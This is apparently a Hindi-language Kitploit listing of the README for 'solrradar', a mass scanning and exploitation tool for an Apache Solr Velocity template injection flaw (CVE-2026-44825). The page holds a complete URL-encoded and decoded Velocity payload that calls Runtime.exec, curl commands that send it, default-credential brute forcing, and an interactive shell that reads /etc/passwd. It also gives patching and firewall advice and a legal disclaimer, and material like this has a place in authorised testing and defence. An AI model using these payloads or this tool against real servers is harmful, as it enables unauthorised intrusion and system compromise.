Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
solrradar — ☄️ Apache Solr CVE-2026-44825 के लिए बड़े पैमाने पर टोही और शोषण ढांचा — वेलोसिटी टेम्पलेट इंजेक्शन से RCE | Kitploit
उपकरण/GitHubGitHub/shinthink/solrradar
टोहीभेद्यता स्कैनरपासवर्ड हमलेशोषणवेब एप्लिकेशन शोषणजानकारी एकत्र करनापेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरेड टीमिंगपेलोड डेवलपमेंट
GitHubshinthink/solrradar

solrradar

51462 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

☄️ Apache Solr CVE-2026-44825 के लिए बड़े पैमाने पर टोही और शोषण ढांचा — वेलोसिटी टेम्पलेट इंजेक्शन से RCE

रिपॉजिटरी देखें

SolrRadar — CVE-2026-44825 Apache Solr Scanner

Python CVE License

Threads Version Brute RCE Shell

Apache Solr के लिए सामूहिक टोही एवं शोषण ढाँचा

Velocity Template Injection → Remote Code Execution



📑 विषय-सूची

  • भेद्यता अवलोकन
  • प्रभावित संस्करण
  • विशेषताएँ
  • स्थापना
  • उपयोग
  • प्रमाण-अवधारणा
  • तकनीकी गहन-विवरण
  • पता लगाने की पद्धति
  • रक्षा एवं शमन
  • अस्वीकरण
  • संदर्भ

🔴 भेद्यता अवलोकन

CVE-2026-44825 Apache Solr में एक गंभीर-स्तर की भेद्यता है जो हमलावरों को Velocity template injection के माध्यम से बिना प्रमाणीकरण के Remote Code Execution (RCE) प्राप्त करने की अनुमति देती है।

समस्या

Apache Solr का /select एंडपॉइंट एक wt=velocity पैरामीटर स्वीकार करता है जो उपयोगकर्ता द्वारा प्रदान किए गए Velocity टेम्पलेट्स को रेंडर करता है। जब Velocity Response Writer सक्षम होता है (या कॉन्फ़िगरेशन API के माध्यम से सक्षम किया जा सकता है), एक हमलावर एक दुर्भावनापूर्ण टेम्पलेट इंजेक्ट कर सकता है जो java.lang.Runtime.exec() को कॉल करता है, जिससे Solr प्रक्रिया के विशेषाधिकारों के साथ मनमाने सिस्टम कमांड निष्पादित होते हैं।

प्रभाव

वेक्टरगंभीरताप्रभाव
बिना प्रमाणीकरण RCE9.8 (गंभीर)पूर्ण सिस्टम समझौता

Velocity Template Engine

Apache Solr प्रतिक्रिया रेंडरिंग के लिए Apache Velocity को एक वैकल्पिक टेम्पलेट इंजन के रूप में बंडल करता है। भेद्यता Solr के VelocityResponseWriter में निहित है जो उपयोगकर्ता-नियंत्रित टेम्पलेट मापदंडों को पर्याप्त स्वच्छता के बिना संसाधित करता है, जिससे Java reflection APIs का सीधा आह्वान संभव होता है:

root@kitploit:~
Java Reflection Chain:
vtl → Class.forName("java.lang.Runtime") → getRuntime().exec(cmd)

🟠 प्रभावित संस्करण

नोट: /admin/info/system JSON प्रतिक्रिया को पार्स करके संस्करण जाँच स्वचालित रूप से की जाती है।


✨ विशेषताएँ


📦 स्थापना

root@kitploit:~
# रिपॉजिटरी क्लोन करें
git clone https://github.com/shinthink/solrradar.git
cd solrradar

# निर्भरताएँ स्थापित करें
pip install -r requirements.txt

# सत्यापित करें
python solr_scanner.py --help

आवश्यकताएँ

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0

केवल मानक लाइब्रेरीज़ + requests। कोई विदेशी निर्भरता नहीं।


📖 उपयोग

कमांड लाइन आर्गुमेंट्स

root@kitploit:~
CVE-2026-44825 Apache Solr Scanner

  -t, --target     एकल लक्ष्य URL या IP[:port]
  -f, --file       लक्ष्यों वाली फ़ाइल (प्रति पंक्ति एक, # टिप्पणियों के लिए)
  --exploit        यदि असुरक्षित क्रेडेंशियल मिलते हैं तो स्वतः शोषण
  --rce            प्रमाणीकरण के बाद इंटरैक्टिव शेल लॉन्च करें
  -u, --user       Basic Auth के लिए उपयोगकर्ता नाम
  -pw, --password  Basic Auth के लिए पासवर्ड
  -o, --output     JSON आउटपुट फ़ाइल पथ          (डिफ़ॉल्ट: solr_results.json)
  -w, --workers    समवर्ती थ्रेड की संख्या      (डिफ़ॉल्ट: 30)
  -T, --timeout    HTTP अनुरोध टाइमआउट (सेकंड) (डिफ़ॉल्ट: 8)

बुनियादी स्कैनिंग

root@kitploit:~
# एकल लक्ष्य
python solr_scanner.py -t 192.168.1.100:8983

# कस्टम पथ के साथ एकल लक्ष्य
python solr_scanner.py -t http://example.com/solr

# फ़ाइल से सामूहिक स्कैन
python solr_scanner.py -f targets.txt -o results.json

लक्ष्य फ़ाइल प्रारूप

root@kitploit:~
# targets.txt — टिप्पणियों और खाली पंक्तियों का समर्थन करता है
192.168.10.10:8983
192.168.10.20:8983
http://solr-target.internal/solr
192.168.1.0/24          # (CIDR समर्थित नहीं; बाहरी उपकरण से पूर्व-विस्तार करें)

शोषण (Exploitation)

root@kitploit:~
# स्कैन + यदि क्रेडेंशियल मिलते हैं तो स्वतः शोषण
python solr_scanner.py -f targets.txt --exploit

# ज्ञात क्रेडेंशियल + इंटरैक्टिव शेल
python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks

# स्वतः ब्रूट-फोर्स + सफलता पर शेल
python solr_scanner.py -t target:8983 --rce

🧪 प्रमाण-अवधारणा

परिदृश्य 1: पता लगाना और संस्करण फिंगरप्रिंटिंग

root@kitploit:~
$ python solr_scanner.py -f targets.txt
root@kitploit:~
CVE-2026-44825 Apache Solr Scanner

Targets: 3 | Threads: 30 | Timeout: 8s
Scanning...

[Solr 8.11.2] http://192.168.10.10:8983/solr
[Solr 8.11.2] http://192.168.10.20:8983/solr
    Cols (no auth): ['authority', 'dfa', 'oai', 'search']
[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr

Done. Total:3 | Solr:3 | Vuln:1

सभी 3 लक्ष्यों का पता चला। 9.4.1 इंस्टेंस को Basic Auth सक्षम के साथ असुरक्षित चिह्नित किया गया।


परिदृश्य 2: क्रेडेंशियल ब्रूट-फोर्स

root@kitploit:~
$ python solr_scanner.py -t solr-target.internal
root@kitploit:~
CVE-2026-44825 Apache Solr Scanner

[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr
    [!] admin:SolrRocks
    Cols: ['cms', 'users', 'search', 'analytics']

डिफ़ॉल्ट क्रेडेंशियल admin:SolrRocks Solr एडमिन APIs तक पहुँच प्रदान करता है। चार संग्रह खोजे गए।


परिदृश्य 3: Velocity Injection के माध्यम से प्रमाणित RCE

root@kitploit:~
$ python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
root@kitploit:~
CVE-2026-44825 Apache Solr Scanner

[+] admin:SolrRocks

solr$ id
uid=8983(solr) gid=8983(solr) groups=8983(solr)

solr$ hostname
solr-prod-cms-01.internal

solr$ whoami
solr

solr$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
solr:x:8983:8983:Solr:/var/solr:/sbin/nologin
...

solr$ exit

Solr Java प्रक्रिया के विशेषाधिकारों के साथ पूर्ण इंटरैक्टिव शेल एक्सेस।


परिदृश्य 4: RCE पेलोड (मैन्युअल पुनरुत्पादन)

शोधकर्ताओं के लिए जो कच्चे HTTP आदान-प्रदान को समझना चाहते हैं:

चरण 1 — सत्यापित करें कि Solr पहुँच योग्य है

root@kitploit:~
curl -sk 'http://target:8983/solr/admin/info/system' | jq '.lucene."solr-spec-version"'
# "9.4.1"

चरण 2 — उपलब्ध संग्रह सूचीबद्ध करें

root@kitploit:~
curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \
  'http://target:8983/solr/admin/collections?action=LIST'
# {"collections": ["cms", "search"]}

चरण 3 — Velocity template injection के माध्यम से कमांड निष्पादित करें

root@kitploit:~
curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x=%27%27)%23set(%24rt=%24x.class.forName(%27java.lang.Runtime%27))%23set(%24chr=%24x.class.forName(%27java.lang.Character%27))%23set(%24ex=%24rt.getRuntime().exec(%27id%27))%24ex.waitFor()%25%23set(%24out=%24ex.getInputStream())%23foreach(%24i%20in%20[1..%24out.available()])%24str.valueOf(%24chr.toChars(%24out.read()))%23end' \
  'http://target:8983/solr/cms/select'

डिकोडेड Velocity टेम्पलेट पेलोड:

root@kitploit:~
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($ex=$rt.getRuntime().exec('id'))
$ex.waitFor()%
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

प्रतिक्रिया:

root@kitploit:~
uid=8983(solr) gid=8983(solr) groups=8983(solr)

🔬 तकनीकी गहन-विवरण

आर्किटेक्चर

root@kitploit:~
┌──────────────────────────────────────────────────────┐
│                    SOLRRADAR                         │
├───────────────┬──────────────────────────────────────┤
│  RECON PHASE  │           EXPLOIT PHASE              │
│               │                                      │
│  ┌─────────┐  │  ┌──────────┐    ┌────────────────┐  │
│  │ Detect  │──┼──▶ Brute-   │───▶│ Velocity RCE   │  │
│  │ Solr    │  │  │ force    │    │ Template Inj.  │  │
│  └────┬────┘  │  └────┬─────┘    └───────┬────────┘  │
│       │       │       │                   │           │
│       ▼       │       ▼                   ▼           │
│  ┌─────────┐  │  ┌──────────┐    ┌────────────────┐  │
│  │ Version │  │  │ Default  │    │ Runtime.exec() │  │
│  │ Check   │  │  │ Creds    │    │ → RCE          │  │
│  └─────────┘  │  └──────────┘    └────────────────┘  │
│               │                                      │
│  ┌─────────┐  │  ┌────────────────────────────────┐  │
│  │ Auth    │  │  │ Interactive Shell (--rce)       │  │
│  │ Probe   │  │  └────────────────────────────────┘  │
│  └─────────┘  │                                      │
└───────────────┴──────────────────────────────────────┘

फ़्लो डायग्राम

root@kitploit:~
Target URL
    │
    ▼
┌─────────────┐
│  normalize  │  → add http:// + /solr if missing
└──────┬──────┘
       │
       ▼
┌─────────────┐     No
│ GET /admin/ ├────────  Skip target
│ info/system │
└──────┬──────┘
       │ Yes (200/401)
       ▼
┌─────────────┐
│ Parse JSON  │  → extract solr-spec-version
│ fingerprint │
└──────┬──────┘
       │
       ▼
┌─────────────┐
│ is_vuln()   │  → 9.4–9.10.x or 10.0.0 ?
└──────┬──────┘
       │
       ├── Not vuln → Report, move on
       │
       ▼ Vuln
┌─────────────┐
│ Auth check  │  → /admin/cores?action=STATUS
│ (3-stage)   │  → /admin/collections?action=LIST
└──────┬──────┘
       │
       ├── No auth → Try unauthenticated listing
       │
       ▼ Auth detected
┌─────────────┐
│ Brute-force │  → 4 users × 8 passwords = 32 attempts
│ credentials │
└──────┬──────┘
       │
       ├── No match → Report vuln (no creds)
       │
       ▼ Creds found
┌─────────────┐
│ List cols / │  → /admin/collections or /admin/cores
│ cores       │
└──────┬──────┘
       │
       ▼
┌─────────────┐
│ RCE via     │  → POST /{collection}/select
│ Velocity    │  → Velocity template → Runtime.exec()
└─────────────┘

bool(Response[401]) == False क्यों मायने रखता है

विकास के दौरान पाया गया एक सूक्ष्म Python पिटफॉल:

root@kitploit:~
>>> import requests
>>> r = requests.get('https://httpbin.org/status/401')
>>> bool(r)
False          # ← 4xx/5xx प्रतिक्रियाएँ False का मूल्यांकन करती हैं!

इसका मतलब है कि हर if response and ... चेक मौन रूप से त्रुटि प्रतिक्रियाओं को छोड़ देता है — भले ही आप विशेष रूप से 401 को संभालना चाहते हों। सुधार हमेशा if response is not None and ... का उपयोग करना है:

root@kitploit:~
# ❌ टूटा — 401 प्रतिक्रियाएँ मौन रूप से छोड़ दी जाती हैं
if r and r.status_code == 401:
    auth = True

# ✅ सही — None के लिए स्पष्ट रूप से जाँच करें
if r is not None and r.status_code == 401:
    auth = True

🔍 पता लगाने की पद्धति

स्कैनर 3-स्तरीय पहचान रणनीति का उपयोग करता है जिससे गलत नकारात्मक परिणाम कम से कम हों:

स्तर 1 — बॉडी सामग्री विश्लेषण

root@kitploit:~
'solr' in response.text.lower()

JSON कुंजियों ("solr_home", "solr-spec-version", "mode":"solrcloud"), HTML डैशबोर्ड और त्रुटि पृष्ठों में Solr को पकड़ता है — केस-इनसेंसिटिव।

स्तर 2 — सर्वर हेडर

root@kitploit:~
'solr' in response.headers.get('Server', '').lower()

कुछ डिप्लॉयमेंट HTTP Server हेडर में "Solr" शामिल करते हैं।

स्तर 3 — मल्टी-स्टेज Auth प्रोबिंग

root@kitploit:~
# Stage 1: Check /admin/info/system response code
# Stage 2: Probe /admin/cores?action=STATUS for 401
# Stage 3: Probe /admin/collections?action=LIST for 401

ऐसे डिप्लॉयमेंट को पकड़ता है जहाँ /admin/info/system सार्वजनिक है लेकिन एडमिन ऑपरेशनों के लिए प्रमाणीकरण आवश्यक है।

संस्करण फिंगरप्रिंटिंग

मजबूती के लिए दो regex पैटर्न:

root@kitploit:~
VERSION_RE = [
    r'solr-spec-version[^0-9]*([\d.]+)',   # lucene.solr-spec-version
    r'solr-impl-version[^0-9]*([\d.]+)',   # lucene.solr-impl-version
]

🛡️ रक्षा एवं शमन

यदि आप Apache Solr चला रहे हैं, तो तुरंत इन सख्ती के उपायों को लागू करें:

1. अपग्रेड करें (अनुशंसित)

root@kitploit:~
# पैच किए गए संस्करण में अपग्रेड करें
# Solr 9.x → 9.10.2 या बाद का
# Solr 10.x → 10.0.1 या बाद का

2. Velocity Response Writer को अक्षम करें

root@kitploit:~
<!-- solrconfig.xml में — हटाएँ या टिप्पणी करें: -->
<!--
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter"/>
-->

3. Basic Auth और फ़ायरवॉल सक्षम करें

root@kitploit:~
# नेटवर्क स्तर पर Solr एडमिन एंडपॉइंट तक पहुँच प्रतिबंधित करें
# केवल विश्वसनीय IP श्रेणियों को पोर्ट 8983/7574 तक पहुँच की अनुमति दें
iptables -A INPUT -p tcp --dport 8983 -s TRUSTED_IP/32 -j ACCEPT
iptables -A INPUT -p tcp --dport 8983 -j DROP

4. अपने बेड़े का ऑडिट करें

root@kitploit:~
# अपने स्वयं के बुनियादी ढाँचे के विरुद्ध इस स्कैनर का उपयोग करें
python solr_scanner.py -f my_solr_instances.txt -o audit_results.json

⚠️ अस्वीकरण

🚨 केवल शैक्षिक एवं अधिकृत परीक्षण उद्देश्यों के लिए

यह सॉफ़्टवेयर केवल शैक्षिक उद्देश्यों और वैध सुरक्षा अनुसंधान के लिए प्रदान किया गया है। इसका उपयोग निम्नलिखित द्वारा किए जाने का इरादा है:

  • 🛡️ सुरक्षा पेशेवर अधिकृत प्रवेश परीक्षण आयोजित कर रहे हैं
  • 🏢 संगठन अपने स्वयं के Apache Solr बुनियादी ढाँचे का ऑडिट कर रहे हैं
  • 🔬 शोधकर्ता भेद्यता शोषण तकनीकों का अध्ययन कर रहे हैं
  • 🎓 छात्र वेब अनुप्रयोग सुरक्षा के बारे में सीख रहे हैं

❌ आप इस सॉफ़्टवेयर का उपयोग नहीं कर सकते:

  • स्पष्ट लिखित प्राधिकरण के बिना कंप्यूटर सिस्टम तक पहुँचने के लिए
  • उन सिस्टमों से समझौता करने, क्षति पहुँचाने या बाधित करने के लिए जिनके आप स्वामी नहीं हैं
  • किसी भी प्रकार की अवैध गतिविधि में संलग्न होने के लिए

⚖️ कानूनी नोटिस

कंप्यूटर सिस्टम तक अनधिकृत पहुँच निम्नलिखित सहित लेकिन इन्हीं तक सीमित नहीं, कानूनों का उल्लंघन करती है:

  • संयुक्त राज्य अमेरिका: Computer Fraud and Abuse Act (18 U.S.C. § 1030)
  • इंडोनेशिया: UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
  • यूरोपीय संघ: Directive 2013/40/EU
  • यूनाइटेड किंगडम: Computer Misuse Act 1990

लेखक इस उपकरण के उपयोग से उत्पन्न किसी भी दुरुपयोग, क्षति या कानूनी परिणामों के लिए कोई दायित्व नहीं मानते हैं। इस सॉफ़्टवेयर का उपयोग करके, आप स्वीकार करते हैं कि आप अपने कार्यों के लिए पूरी तरह से जिम्मेदार हैं और सभी लागू कानूनों का पालन करने के लिए सहमत हैं।


📚 संदर्भ


⚡ सुरक्षा अनुसंधान समुदाय के लिए सटीकता के साथ निर्मित ⚡

Apache® और Apache Solr® Apache Software Foundation के पंजीकृत ट्रेडमार्क हैं।
यह प्रोजेक्ट Apache Software Foundation से संबद्ध या समर्थित नहीं है।

टूल डाउनलोड करें
प्रमाणित RCE8.8 (उच्च)प्रमाणीकरण के बाद कोड निष्पादन
सूचना प्रकटीकरण5.3 (मध्यम)कोर/संग्रह गणना
Apache Solr संस्करणस्थितिटिप्पणियाँ
9.4.0 – 9.10.1🔴 असुरक्षितजंगल में सक्रिय शोषण
10.0.0🔴 असुरक्षितप्रभावित प्रारंभिक 10.x रिलीज़
10.0.1+🟢 पैच किया गयासुधार बैकपोर्ट किया गया
9.10.2+🟢 पैच किया गयापैच रिलीज़ उपलब्ध
≤ 9.3.x🟢 प्रभावित नहींVelocity Response Writer मौजूद नहीं
8.x (सभी)🟢 प्रभावित नहींकोई Velocity समर्थन नहीं

🔍 टोही (Reconnaissance)

  • बहु-लक्ष्य स्कैनिंग — 30 समवर्ती थ्रेड, कॉन्फ़िगरेबल
  • संस्करण फिंगरप्रिंटिंग — सटीक Solr और Lucene संस्करण निष्कर्षण
  • दोहरी-मोड पहचान — SolrCloud + स्टैंडअलोन (एकल-नोड)
  • प्रमाणीकरण-जागरूक जांच — Basic Auth के लिए 3 एडमिन एंडपॉइंट का परीक्षण
  • संग्रह गणना — संभव होने पर बिना प्रमाणीकरण के संग्रह/कोर सूचीबद्ध करता है

💀 शोषण (Exploitation)

  • क्रेडेंशियल ब्रूट-फोर्स — डिफ़ॉल्ट Solr क्रेडेंशियल्स का अंतर्निहित शब्दकोश
  • Velocity RCE — java.lang.Runtime.exec() के माध्यम से टेम्पलेट इंजेक्शन
  • इंटरैक्टिव शेल — शोषण के बाद के कमांड के लिए स्यूडो-टर्मिनल
  • स्वतः-शोषण श्रृंखला — एक कमांड में पता लगाना → ब्रूट → RCE
  • JSON निर्यात — अन्य उपकरणों के साथ एकीकरण के लिए संरचित आउटपुट
संसाधनलिंक
NVD प्रविष्टिCVE-2026-44825
Apache Solr सुरक्षाsolr.apache.org/security
Solr Velocity दस्तावेज़Velocity Response Writer
OWASP टेम्पलेट इंजेक्शनServer-Side Template Injection